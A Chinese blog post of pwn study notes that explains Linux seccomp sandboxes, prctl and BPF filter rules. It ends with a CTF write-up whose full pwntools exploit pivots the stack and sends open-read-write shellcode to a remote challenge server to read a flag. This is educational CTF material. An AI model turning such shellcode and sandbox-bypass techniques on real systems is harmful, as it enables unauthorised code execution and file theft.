pwn学习笔记(8)--初识Pwn沙箱
初识Pwn沙箱
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
- prctl系统调用;
- seccomp库函数;
1、prctl函数初探
prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。
下面是/linux/prctl.h和seccomp相关的源码:
/* Get/set process seccomp mode */#define PR_GET_SECCOMP 21#define PR_GET_SECCOMP 22/** If no_new_privs is set, then operations that grant new privileges (i.e.* execve) will either fail or not grant them. This affects suid/sgid,* file capabilities, and LSMs.** Operations that merely manipulate or drop existing privileges (setresuid,* capset, etc.) will still work. Drop those privileges if you want them gone.** Changing LSM security domain is considered a new privilege. So, for example,* asking selinux for a specific new context (e.g. with runcon) will result* in execve returning -EPERM.** See Documentation/userspace-api/no_new_privs.rst for more details.*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39
prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。
include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。
在第一个参数中,我们需要重点关注的参数有这两个:
- PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
- PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。
struct sock_fprog {unsigned short len; /* 指令个数 */struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter { /* Filter block */__u16 code; /* Actual filter code,bpf指令码 */__u8 jt; /* Jump true */__u8 jf; /* Jump false */__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{int nr;//系统调用号__u32 arch;//调用架构__u64 instruction_pointer;//CPU指令指针__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}
2、prctl()函数详解
prctl
是一个系统调用,用于控制和修改进程的行为和属性。它可以在Linux系统上使用,提供了各种功能和选项来管理进程的不同方面。
以下是prctl
函数的基本原型:
#include <sys/prctl.h>int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl函数接受不同的option选项和参数,用于执行不同的操作。下面是一些常用的option选项及其功能:
- PR_SET_NAME:设置进程名称。
- PR_GET_NAME:获取进程名称。
- PR_SET_PDEATHSIG:设置在父进程终止时发送给当前进程的信号。
- PR_GET_PDEATHSIG:获取父进程终止时发送给当前进程的信号。
- PR_SET_DUMPABLE:设置进程的可转储标志,影响核心转储。
- PR_GET_DUMPABLE:获取进程的可转储标志。
- PR_SET_SECCOMP:设置进程的安全计算模式。
- PR_GET_SECCOMP:获取进程的安全计算模式。
这些仅是一些常用的选项,prctl
还支持其他选项和功能。每个选项都有特定的参数,可以根据需要传递。具体的参数和行为取决于所选的选项。
以下是一个简单的示例,展示了如何使用prctl
函数设置进程名称:
#define _GNU_SOURCE
#include <sys/prctl.h>
#include <stdio.h>int main() {const char* process_name = "MyProcess";if (prctl(PR_SET_NAME, (unsigned long) process_name) == -1) {perror("prctl");return 1;}// 获取进程名称char name[16];if (prctl(PR_GET_NAME, (unsigned long) name) == -1) {perror("prctl");return 1;}printf("Process name: %s\n", name);return 0;
}
在上述示例中,我们使用prctl函数将当前进程的名称设置为"MyProcess"。然后,我们再次使用prctl函数获取进程的名称,并将其打印到标准输出。
请注意,prctl函数的具体行为和可用选项可能因操作系统和版本而异。在使用prctl函数时,应该查阅相关文档并了解所使用的操作系统的支持和限制。
3、BPF过滤规则(伯克利封装包过滤)
突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。
如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。
我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。
BPF指令集简介
BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。
BPF_LDX:从内存中加载byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include<sys/types.h>int main()
{struct sock_filter filter[]={BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送4个字节BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),// 杀死一个进程// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),// 父进程追踪子进程,具体没太搞清楚BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),// 异常处理BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),// 这里表示系统调用如果正常,允许系统调用};struct sock_fprog prog={.len=sizeof(filter)/sizeof(sock_filter[0]),.filter=filter,};prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则puts("123");return 0;
}
开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。
#ifndef BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif
上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.
BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。
GitHub上的一个真实例子:
例子
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>static int install_filter(int nr, int arch, int error) {struct sock_filter filter[] = {BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0, 3),BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0, 1),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),};struct sock_fprog prog = {.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),.filter = filter,};if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {perror("prctl(NO_NEW_PRIVS)");return 1;}if (prctl(PR_SET_SECCOMP, 2, &prog)) {perror("prctl(PR_SET_SECCOMP)");return 1;}return 0;
}int main() {printf("hey there!\n");install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);printf("something's gonna happen!!\n");printf("it will not definitely print this here\n");return 0;
}
用 seccomp-tools
来dump下看看:
g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 00050002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 00050004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示。
4、orw:
[极客大挑战 2019]Not Bad:
先检查下保护:
g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments
没有开保护,且存在RWX段,IDA看看:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);sub_400949();sub_400906();sub_400A16();return 0LL;
}
函数名等等有问题,试着恢复下:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);seccomp();init_0();vuln();return 0LL;
}
简单恢复了下之后是这样,先看看seccomp函数,里面很明显存在沙盒(可能是种不专业的说法):
__int64 seccomp()
{__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);return seccomp_load(v1);
}
好,那么直接用seccomp-tools工具dump一下:
g01den@MSI:~/Temp$ seccomp-tools dump ./pwnline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 00100005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 00090006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 00090007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 00090008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000 return ALLOW0010: 0x06 0x00 0x00 0x00000000 return KILL
最后发现可以利用的系统调用有orw三个,那么看看vuln函数:
int sub_400A16()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Easy shellcode, have fun!");read(0, buf, 0x38uLL);return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
这里存在栈溢出,感觉可以打shellcode,但是,明显发现栈的长度不够ret2shellcode,推测一手栈迁移,试试看。
经过动调之后,发现在执行到函数mmap之后,存在一个可写可执行权限的内存段(扔一个小知识点:这里mmap参数类型是(起始地址,大小,保护类,文件描述符]等)):
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATAStart End Perm Size Offset File0x123000 0x124000 -wxp 1000 0 [anon_00123]
可以将栈迁移到这儿去,再执行shellcode或者syscall读文件,不过,这个要之后再说了。大概思路说下吧,先通过shellcode调用read函数将读文件写入内存然后输出这样的一个顺序,先贴一下exp:
from pwn import *
#from LibcSearcher import *# context.terminal = ["tmux", "splitw", "-h"]
Locale = 0
if Locale == 1:io = process('./pwn')
else:io = remote("node5.buuoj.cn",26888)#elf = ELF("./pwn")
context(arch='amd64', os='linux', log_level='debug')def exp():# gdb.attach(io)mnap = 0x123000jmp_rsp = 0x0400a01io.recvuntil("Easy shellcode, have fun!\n")shellcode = asm(shellcraft.read(0,mnap,0x100))shellcode += asm('mov rax,0x123000;call rax')payload = shellcode.ljust(0x28,b'a')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #这里的减0x30我没怎么看懂,记录在这儿io.send(payload)payload2 = asm(shellcraft.open('./flag')+shellcraft.read(3,mnap+0x100,0x100)+shellcraft.write(1,mnap+0x100,0x100))io.send(payload2)exp()io.interactive()
参考文章:
从prctl函数开始学习沙箱规则
BPF详解
函数 prctl 系统调用
相关文章:
pwn学习笔记(8)--初识Pwn沙箱
初识Pwn沙箱 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系…...
Day18_2--Vue.js Ajax(使用 Axios)基础入门学习
Vue.js 中的 Ajax 请求(使用 Axios) 什么是 Axios? Axios 是一个基于 Promise 的 HTTP 客户端,可以用于浏览器和 Node.js 环境中。它是现代化的 Ajax 库,用来替代传统的 XMLHttpRequest。 为什么选择 Axios…...

windows11远程桌面如何打开
随着远程办公的普及,选择合适的远程桌面工具变得尤为重要。在Windows 11上,用户可以利用系统自带的远程桌面功能,或选择更专业的第三方解决方案,如Splashtop。本文将详细介绍如何在Windows 11上启用远程桌面,并对比Win…...
qt代码显示,包含文本颜色设置等
QScintilla 安装示例代码参考链接 安装 最近发现了一个有趣的库,qt的插件库,之前一直以为显示代码时是重写QTextEdit来实现的,结果qt有现成的一个库来显示这些东西,在此记录一下 # 安装 QScintilla pip install QScintilla示例代码…...
抽象代数精解【6】
文章目录 简单密码算法模运算数学定义置换移位代换仿射 参考文献 简单密码算法 模运算数学定义 模m剩余类集 Z m Z_m Zm 设∀a,b∈Z(整数),m为正整数 m|b-a ,称a R b R满足反身性、对称性、传递性 1、R为同余关系,…...
如何选择合适的PCB材料?FR4、陶瓷、还是金属基板?
选择合适的PCB材料对于电路板的性能、可靠性和成本至关重要。不同的PCB材料具有不同的特性,适用于不同的应用场景。 01 FR4(玻璃纤维环氧树脂) FR4的特点: 广泛应用:FR4是最常见的PCB基板材料,广泛应用…...

PXE学习及其简单应用
一、PXE 的定义 PXE 是一种基于网络的启动技术,最初由 Intel 开发,旨在提供一种在没有本地存储设备的情况下通过网络启动操作系统的标准。PXE 集成在计算机的 BIOS 或 UEFI 中,允许计算机从网络服务器下载并启动操作系统或其他软件。 二、PX…...

【Python】把list转换成json文件(list中为字典,元素按行写入)
0.前言 数据需要处理成与大模型输入相同类型的数据,从csv文件读出后,想要转换成json文件,看了好多资料都是把整个list写入了json,并不是我想要的格式,这里记录一下最后的按行写入的格式。 1.list转json import json …...

《机器人SLAM导航核心技术与实战》第1季:第8章_激光SLAM系统
视频讲解 【第1季】8.第8章_激光SLAM系统-视频讲解【第1季】8.1.第8章_激光SLAM系统_Gmapping算法-视频讲解【第1季】8.2.第8章_激光SLAM系统_Cartographer算法-视频讲解【第1季】8.3.第8章_激光SLAM系统_LOAM算法-视频讲解 第1季:第8章_激光SLAM系统 先 导 课第…...

【安当产品应用案例100集】005-安当ASP实现Exchange双因素登录认证
Exchange双因素登录通过增加额外的安全验证层,可以有效提高企业邮箱系统的安全性,减少了数据泄露和账号被盗的风险,同时也符合了日益严格的安全合规要求。 其必要性主要体现在以下几个方面: 提高安全性:传统的用户名…...
【Bug】Pytorch RuntimeError: DataLoader worker (pid(s) 15904) exited unexpectedly
【Bug1】RuntimeError: DataLoader worker (pid(s) 15904) exited unexpectedly 知乎:https://zhuanlan.zhihu.com/p/712407893 环境 Windows 11 Python 3.10 torch 2.0.1 numpy 1.25.0问题详情 在使用 PyTorch 的 DataLoader 时出现的错误。详情 RuntimeError:A…...

谈谈冯诺依曼体系
我们都知道冯诺依曼体系这张图最为代表性,而接下来我们就来浅谈一下各部分之间的作用~ 输入设备:键盘,磁盘,网卡,话筒等等 输出设备:磁盘,网卡,声卡,显示屏等等 这些硬件…...

第十二章 元数据管理10分
12.1 引言 如果没有元数据,组织可能根本无法管理其数据。 ISO/IEC11179 元数据注册标准。 元数据管理原则:应归尽归,应收尽收。衡量标准:目录是否完整。(去第十二章 元数据管理)。 主数据管理:主…...
eco_tracker
特征 VGG是第一个提出使用块的想法,通过使用循环和子程序,可以很容易地在任何现代深度学习框架的代码中实现这些重复的架构。 原始VGG网络有5个卷积块,其中前两个块各有一个卷积层,后三个块各包含两个卷积层。 第一个模块有64个…...
electron 鼠标事件
版本:"electron": "^22.3.27",实现一个在windows下图片点击右键,使用electron打开的功能。 一、注册表操作 注册表工具类 const cp require("child_process"); const { app } require(electron/remote) e…...

网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))
ubuntuan安装nginx以及php部署 1.安装依赖包 rootadmin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev2.安装nginx 到https://nginx.org/en/download.html下载nginx 之后将压缩包通过xtfp传输到ubuntu的/usr/loc…...
【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一)
【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一) 一、setup_mon_len():配置 gd->mon_len 监控长度二、fdtdec_setup() :设备树初始化,配置 gd->fdt_blob 指向uboot镜像末尾的 device tree三、【RK3568未跑】trace_early…...
Mojo AI编程语言(十七)跨平台开发:应用广泛适配
目录 1. Mojo语言简介 2. 跨平台开发的挑战 3. Mojo语言的跨平台特性 3.1 编译器支持 3.2 标准库支持 3.3 抽象层 4. 跨平台开发的最佳实践 4.1 避免平台特定代码 4.2 使用依赖管理工具 4.3 测试覆盖率 5. 高级跨平台开发技巧 5.1 使用容器 5.2 持续交付 5.3 性能…...
Python面试题:结合Python技术,如何使用Astropy进行天文数据处理
Astropy 是一个用于天文学研究的 Python 库,它提供了处理天文数据的多种工具和函数。以下是一些使用 Astropy 进行天文数据处理的示例: 安装 Astropy 首先,需要确保已安装 Astropy,可以使用以下命令进行安装: pip i…...

Jpa-多表关联-OneToOne
Jpa-多表关联-OneToOne 准备JoinColumnOneToOne属性targetEntitycascade*PERSISTMERGEREMOVEREFRESH orphanRemovalfetchoptionalMappedBy* OneToOne在 hibernate中用于对表与表之间进行维护关联 准备 import com.alibaba.fastjson.JSON; import jakarta.persistence.*; impor…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...

学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
Java入门学习详细版(一)
大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

WPF八大法则:告别模态窗口卡顿
⚙️ 核心问题:阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程,导致后续逻辑无法执行: var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题:…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...

若依登录用户名和密码加密
/*** 获取公钥:前端用来密码加密* return*/GetMapping("/getPublicKey")public RSAUtil.RSAKeyPair getPublicKey() {return RSAUtil.rsaKeyPair();}新建RSAUti.Java package com.ruoyi.common.utils;import org.apache.commons.codec.binary.Base64; im…...
规则与人性的天平——由高考迟到事件引发的思考
当那位身着校服的考生在考场关闭1分钟后狂奔而至,他涨红的脸上写满绝望。铁门内秒针划过的弧度,成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定",构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...